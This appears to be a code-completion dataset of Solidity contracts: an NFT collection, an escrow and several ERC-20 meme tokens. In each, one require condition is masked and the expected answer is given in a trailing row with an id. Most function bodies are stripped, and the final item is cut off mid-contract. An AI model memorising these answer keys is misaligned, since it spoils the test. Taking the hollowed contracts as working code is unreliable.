| |\/| | | | | \β |β ββ | \ βββββββ /__ __/ __ /_/ /____ \__ __/
| | | | |_| | |\ | \_β | \ βββββ /__ /___ _ _, _/____/ /_ /___
|_| |_|\___/|_| \_|\___/ \ βββ / /_____/ /_/ |_| /____/ /_____/
\ β /
creativity by Ouchhh \*/
/**
* @title Monuverse Episode 1 β Arch Of Peace
* @author Maxim Gaina
*
* @notice ArchOfPeace Collection Contract with
* @notice On-chain programmable lifecycle and, regardless of collection size,
* @notice O(1) fully decentralized and unpredictable reveal.
*
* @dev ArchOfPeace Collection is a Monuverse Episode;
* @dev an Episode has a lifecycle that is composed of Chapters;
* @dev each Chapter selectively enables contract features and emits Monumental Events;
* @dev each Monumental Event can make the Episode transition into a new Chapter;
* @dev each transition follows the onchain programmable story branching;
* @dev episode branching is a configurable Deterministic Finite Automata.
*/
contract ArchOfPeace is
MonuverseEpisode,
ArchOfPeaceEntropy,
ArchOfPeaceWhitelist,
ERC721PsiBurnable,
PaymentSplitter
{
using FPEMap for uint256;
using Strings for uint256;
uint256 private _maxSupply;
string private _archVeilURI;
string private _archBaseURI;
mapping (address => uint256) _mintCounter;
constructor(
uint256 maxSupply_,
string memory name_,
string memory symbol_,
string memory archVeilURI_,
string memory archBaseURI_,
string memory initialChapter_,
address vrfCoordinator_,
bytes32 vrfGasLane_,
uint64 vrfSubscriptionId_,
address[] memory payee_,
uint256[] memory shares_
)
MonuverseEpisode(initialChapter_)
ArchOfPeaceEntropy(vrfCoordinator_, vrfGasLane_, vrfSubscriptionId_)
ERC721Psi(name_, symbol_)
PaymentSplitter(payee_, shares_)
{
}
function setWhitelistRoot(bytes32 newWhitelistRoot)
public
override
onlyWhitelistingChapter
onlyOwner
{
}
function mint(
uint256 quantity,
uint256 limit,
bytes32 group,
bytes32[] memory proof
) public payable whenNotPaused {
}
function mint(uint256 quantity) public payable {
}
/**
* @notice Reveals the entire collection when call effects are successful.
*
* @dev Requests a random seed that will be fulfilled in the future;
* @dev seed will be used to randomly map token ids to metadata ids;
* @dev callable only once in the entire Episode (i.e. collection lifecycle),
* @dev that is, if seed is still default value and not waiting for any request;
* @dev callable by anyone at any moment only during Reveal Chapter.
*/
function reveal() public onlyRevealChapter whenNotPaused {
require(entropy() == 0, "ArchOfPeace: already revealed");
require(<FILL_ME>)
_requestRandomWord();
}
function fulfillRandomWords(uint256, uint256[] memory randomWords)
internal
override
onlyRevealChapter
emitsEpisodeRevealedEvent
{
}
function sealMinting() external onlyMintChapter onlyOwner {
}
function burn(uint256 tokenId) public {
}
/**
* @notice Obtains mapped URI for an existing token.
* @param tokenId existing token ID.
*
* @dev Pre-reveal all tokens are mapped to the same `_archVeilURI`;
* @dev post-reveal each token is unpredictably mapped to its own URI;
* @dev post-reveal is when VRFCoordinatorV2 has successfully fulfilled random word request;
* @dev more info https://mirror.xyz/ctor.xyz/ZEY5-wn-3EeHzkTUhACNJZVKc0-R6EsDwwHMr5YJEn0.
*
* @return tokenURI token URI string
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
function tokensMintedByUser(address minter) public view returns (uint256) {
}
}
| !fulfilling(),"ArchOfPeace: currently fulfilling" | 155,537 | !fulfilling() |
null | pragma solidity ^0.8.9;
contract Escrow is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
// price of token in eth.
uint256 public price;
// rodo token address
IERC20 public rodo;
// fee that will be received on top of price. 5000 = 5%
uint256 public feePercentage;
// Admin address that will receive the 40% share and tokens price.
address public admin;
// fee receiver that will receive 10% share and fee on top of tokens price.
address public feeReceiver;
constructor(
IERC20 _rodo,
uint256 _price,
uint256 _feePercentage,
address _admin,
address _feeReceiver
) {
require(<FILL_ME>)
Helpers.requireNonZeroAddress(address(_admin));
Helpers.requireNonZeroAddress(address(_feeReceiver));
price = _price;
rodo = _rodo;
feePercentage = _feePercentage;
admin = _admin;
feeReceiver = _feeReceiver;
}
function buy(uint256 _amount, address _to) public payable nonReentrant {
}
function availableTokens() public view returns (uint256) {
}
function requiredEth(uint256 _amount) public view returns (uint256) {
}
function updatePrice(uint256 _price) public onlyOwner {
}
function updateAdmin(address _admin) public onlyOwner {
}
function updateFeeReceiver(address _feeReceiver) public onlyOwner {
}
function updateFeePercentage(uint256 _feePercentage) public onlyOwner {
}
function updateRodo(IERC20 _rodo) public onlyOwner {
}
function withdrawToken(IERC20 _token, uint256 _amount) public onlyOwner {
}
}
| requireNonZeroAddress(address(_rodo) | 155,785 | address(_rodo) |
null | pragma solidity ^0.8.9;
contract Escrow is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
// price of token in eth.
uint256 public price;
// rodo token address
IERC20 public rodo;
// fee that will be received on top of price. 5000 = 5%
uint256 public feePercentage;
// Admin address that will receive the 40% share and tokens price.
address public admin;
// fee receiver that will receive 10% share and fee on top of tokens price.
address public feeReceiver;
constructor(
IERC20 _rodo,
uint256 _price,
uint256 _feePercentage,
address _admin,
address _feeReceiver
) {
Helpers.requireNonZeroAddress(address(_rodo));
require(<FILL_ME>)
Helpers.requireNonZeroAddress(address(_feeReceiver));
price = _price;
rodo = _rodo;
feePercentage = _feePercentage;
admin = _admin;
feeReceiver = _feeReceiver;
}
function buy(uint256 _amount, address _to) public payable nonReentrant {
}
function availableTokens() public view returns (uint256) {
}
function requiredEth(uint256 _amount) public view returns (uint256) {
}
function updatePrice(uint256 _price) public onlyOwner {
}
function updateAdmin(address _admin) public onlyOwner {
}
function updateFeeReceiver(address _feeReceiver) public onlyOwner {
}
function updateFeePercentage(uint256 _feePercentage) public onlyOwner {
}
function updateRodo(IERC20 _rodo) public onlyOwner {
}
function withdrawToken(IERC20 _token, uint256 _amount) public onlyOwner {
}
}
| requireNonZeroAddress(address(_admin) | 155,785 | address(_admin) |
null | pragma solidity ^0.8.9;
contract Escrow is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
// price of token in eth.
uint256 public price;
// rodo token address
IERC20 public rodo;
// fee that will be received on top of price. 5000 = 5%
uint256 public feePercentage;
// Admin address that will receive the 40% share and tokens price.
address public admin;
// fee receiver that will receive 10% share and fee on top of tokens price.
address public feeReceiver;
constructor(
IERC20 _rodo,
uint256 _price,
uint256 _feePercentage,
address _admin,
address _feeReceiver
) {
Helpers.requireNonZeroAddress(address(_rodo));
Helpers.requireNonZeroAddress(address(_admin));
require(<FILL_ME>)
price = _price;
rodo = _rodo;
feePercentage = _feePercentage;
admin = _admin;
feeReceiver = _feeReceiver;
}
function buy(uint256 _amount, address _to) public payable nonReentrant {
}
function availableTokens() public view returns (uint256) {
}
function requiredEth(uint256 _amount) public view returns (uint256) {
}
function updatePrice(uint256 _price) public onlyOwner {
}
function updateAdmin(address _admin) public onlyOwner {
}
function updateFeeReceiver(address _feeReceiver) public onlyOwner {
}
function updateFeePercentage(uint256 _feePercentage) public onlyOwner {
}
function updateRodo(IERC20 _rodo) public onlyOwner {
}
function withdrawToken(IERC20 _token, uint256 _amount) public onlyOwner {
}
}
| requireNonZeroAddress(address(_feeReceiver) | 155,785 | address(_feeReceiver) |
null | /**
Website: https://dorkisfine.com/
Telegram: https://t.me/DorkisFine
X: https://x.com/DorkisFineErc
$αͺOαK is Fine: where we turn βThis is Fineβ moments into success stories
*/
//SPDX-License-Identifier: No License
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DorkFine is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _refTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _tokensBuyFee = 15;
uint256 public _tokensSellFee = 20;
uint256 private _swapTokensAt;
uint256 private _maxTokensToSwapForFees;
address payable private _taxwallet;
string private constant _name = unicode"$αͺOαK IS $FINE";
string private constant _symbol = unicode"$αͺOαKFINE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private __maxWallet = _tTotal;
uint256 private _maximumTxAmount = _tTotal;
event _maxWalletUpdated(uint __maxWallet);
// Uniswap V2 Router
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function manualswap() public {
require(<FILL_ME>)
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public {
}
function manualswapsend() external {
}
function openTrading() external onlyOwner() {
}
function updateBuyFee(uint256 _fee) external onlyOwner {
}
function updateSellFee(uint256 _fee) external onlyOwner {
}
function setSwapTokensAt(uint256 amount) external onlyOwner() {
}
function setMaxTokensToSwapForFees(uint256 amount) external onlyOwner() {
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
}
function tokenfromRef(uint256 rAmount) private view returns(uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function sendETHToFee(uint256 amount) private {
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
}
function _getTokenFee(address sender, address recipient) private view returns (uint256) {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {
}
function _getValues(uint256 tAmount, uint256 tokenFee) private view returns (uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 teamFee) private pure returns (uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
}
| _msgSender()==_taxwallet | 156,133 | _msgSender()==_taxwallet |
"-This is more than allowed-" | // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
pragma solidity ^0.8.2;
contract Unknown is ERC721A, Ownable, ReentrancyGuard {
enum Status {
Waiting,
Started,
Finished
}
using Strings for uint256;
bool public isPublicSaleActive = false;
string private baseURI = "ipfs://QmSWPJyLBetRbN25W8PBxDT1ihW4j9hJCtij1Q7FLG8NjR/";
uint256 public constant MAX_MINT_PER_ADDR = 4;
uint256 public constant UNKNOWN = 1;
uint256 public PUBLIC_PRICE = 0.001 * 10**18;
uint256 public constant MAX_SUPPLY = 200;
uint256 public constant UNKNOWN_ = 0;
uint256 public INSTANT_FREE_MINTED = 0;
event Minted(address minter, uint256 amount);
constructor(string memory initBaseURI) ERC721A("Unknown", "UN") {
}
function _baseURI() internal view override returns (string memory) {
}
function ownerMint(uint quantity, address user)
public
onlyOwner
{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setBaseURI(string calldata newBaseURI) external onlyOwner {
}
function mint(uint256 quantity) external payable nonReentrant {
require(isPublicSaleActive, "Public sale is not open");
require(tx.origin == msg.sender, "-Contract call not allowed-");
require(<FILL_ME>)
require(
totalSupply() + quantity <= MAX_SUPPLY,
"-Not enough quantity-"
);
uint256 _cost;
if (INSTANT_FREE_MINTED < UNKNOWN_) {
uint256 remainFreeAmont = (numberMinted(msg.sender) <
UNKNOWN)
? (UNKNOWN - numberMinted(msg.sender))
: 0;
_cost =
PUBLIC_PRICE *
(
(quantity <= remainFreeAmont)
? 0
: (quantity - remainFreeAmont)
);
INSTANT_FREE_MINTED += (
(quantity <= remainFreeAmont) ? quantity : remainFreeAmont
);
} else {
_cost = PUBLIC_PRICE * quantity;
}
require(msg.value >= _cost, "-Not enough ETH-");
_safeMint(msg.sender, quantity);
emit Minted(msg.sender, quantity);
}
function numberMinted(address owner) public view returns (uint256) {
}
function setIsPublicSaleActive(bool _isPublicSaleActive)
external
onlyOwner
{
}
function withdraw(address payable recipient)
external
onlyOwner
nonReentrant
{
}
function updatePrice(uint256 __price) external onlyOwner {
}
}
| numberMinted(msg.sender)+quantity<=MAX_MINT_PER_ADDR,"-This is more than allowed-" | 156,170 | numberMinted(msg.sender)+quantity<=MAX_MINT_PER_ADDR |
"Over max wallet size." | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract EUPHORIA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100 * 1e10 * 1e9;
uint256 public _maxWalletSize;
uint256 public _maxTxn;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _sellTax;
uint256 private _buyTax;
uint256 public SWAPamount = 7 * 1e8 * 1e9; // .07%
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private dev;
address payable private mktg;
event maxWalletSizeamountUpdated(uint _maxWalletSize);
event maxTxnUpdate(uint _maxTxn);
event SWAPamountUpdated(uint SWAPamount);
string private constant _name = "EUPHORIA";
string private constant _symbol = "EUPHORIA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(!bots[from] && !bots[to]);
require(amount > 0, "Transfer amount must be greater than zero");
if (! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
}
if (to != uniswapV2Pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(<FILL_ME>)
require(amount <= _maxTxn, "Buy transfer amount exceeds the maxTransactionAmount.");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
require(!bots[from] && !bots[to]);
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
_feeAddr1 = 0;
_feeAddr2 = 0;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if (contractTokenBalance > SWAPamount) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
_tokenTransfer(from,to,amount);
}
function openTrading() external onlyOwner() {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function updateFees(uint256 sellTax, uint256 reflections, uint256 buyTax) external onlyOwner {
}
function liftMax() external {
}
function sendETHToFee(uint256 amount) private {
}
function setMarketingWallet(address payable walletAddress) public onlyOwner {
}
function updateSWAPamount(uint256 newNum) external {
}
function updateMaxWalletamount(uint256 newNum) external onlyOwner {
}
function updateMaxTxn(uint256 newNum) external onlyOwner {
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function manualswap() external {
}
function manualsend() external {
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
function setBots(address[] memory bots_) public onlyOwner {
}
function delBot(address notbot) public onlyOwner {
}
}
| amount+balanceOf(to)<=_maxWalletSize,"Over max wallet size." | 156,249 | amount+balanceOf(to)<=_maxWalletSize |
null | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract EUPHORIA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100 * 1e10 * 1e9;
uint256 public _maxWalletSize;
uint256 public _maxTxn;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _sellTax;
uint256 private _buyTax;
uint256 public SWAPamount = 7 * 1e8 * 1e9; // .07%
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private dev;
address payable private mktg;
event maxWalletSizeamountUpdated(uint _maxWalletSize);
event maxTxnUpdate(uint _maxTxn);
event SWAPamountUpdated(uint SWAPamount);
string private constant _name = "EUPHORIA";
string private constant _symbol = "EUPHORIA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function updateFees(uint256 sellTax, uint256 reflections, uint256 buyTax) external onlyOwner {
}
function liftMax() external {
require(<FILL_ME>)
_maxWalletSize = _tTotal;
_maxTxn = _tTotal;
}
function sendETHToFee(uint256 amount) private {
}
function setMarketingWallet(address payable walletAddress) public onlyOwner {
}
function updateSWAPamount(uint256 newNum) external {
}
function updateMaxWalletamount(uint256 newNum) external onlyOwner {
}
function updateMaxTxn(uint256 newNum) external onlyOwner {
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function manualswap() external {
}
function manualsend() external {
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
}
function _getRate() private view returns(uint256) {
}
function _getCurrentSupply() private view returns(uint256, uint256) {
}
function setBots(address[] memory bots_) public onlyOwner {
}
function delBot(address notbot) public onlyOwner {
}
}
| _msgSender()==dev | 156,249 | _msgSender()==dev |
"trading is already open" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
contract SminemToken is IERC20, Ownable {
using SafeMath for *;
string private constant _name = unicode"Sminem DAO Launchpad";
string private constant _symbol = unicode"SMNM";
uint8 private constant _decimals = 18;
uint256 private constant _totalSupply = 10**12 * 1e18;
uint256 private _marketingFee = 35000000000 * 1e18;
uint256 private _sminemFee = 13000000000 * 1e18;
uint256 private _devFee = 35000000000 * 1e18;
uint256 private _totalFeePercent = _getTotalFeePercent();
uint256 private _maxAmountInTx = _totalSupply;
address private _marketingAddress;
address private _sminemAddress;
address private _devAddress;
uint256 private _previousMarketingFee;
uint256 private _previousSminemFee;
uint256 private _previousDevFee;
uint256 private _maxOwnedTokensPercent = 2;
uint256 private _maxTokensInWalletPercent = 5;
uint256 private _floor = 0;
mapping(address => bool) private _botList;
mapping(address => uint256) private _balanceOf;
mapping (address => mapping(address => uint256)) private _allowance;
mapping (address => bool) private _isExcludedFromFee;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private isOpen = false;
bool private inSwap = false;
modifier lockTheSwap {
}
constructor(address payable devAddress, address payable marketingAddress, address payable sminemAddress) {
}
function open() external onlyOwner {
require(<FILL_ME>)
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
isOpen = true;
}
receive() external payable {}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure returns (uint256) {
}
function transfer(address recipient, uint amount) public override returns (bool) {
}
function approve(address spender, uint amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
}
function balanceOf(address account) public view returns (uint256) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function _transfer(address sender, address recipient, uint amount) private {
}
function _transferRegular(address sender, address recipient, uint256 amount) private {
}
function getFee(uint256 amount) private view returns(uint256) {
}
function _getTotalFeePercent() private view returns(uint256) {
}
function splitFee(uint256 sum) private view returns(uint256, uint256, uint256) {
}
function _approve(address owner, address spender, uint amount) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function excludeFromFee(address account) external onlyOwner {
}
function includeToFee (address payable account) external onlyOwner {
}
function setMarketingWallet (address payable marketingWalletAddress) external onlyOwner {
}
function setSminemWallet (address payable sminemWalletAddress) external onlyOwner {
}
function setDevWallet (address payable devWalletAddress) external onlyOwner {
}
function setMarketingFee(uint256 fee) external onlyOwner {
}
function setSminemFee(uint256 fee) external onlyOwner {
}
function setDevFee(uint256 fee) external onlyOwner {
}
function restoreAllFee() private {
}
function removeAllFee() private {
}
function setBots(address[] memory bots) public onlyOwner {
}
function manualswap(uint256 amount) external onlyOwner {
}
function manualsend() external onlyOwner {
}
function setMaxTxPercent(uint256 val) external onlyOwner {
}
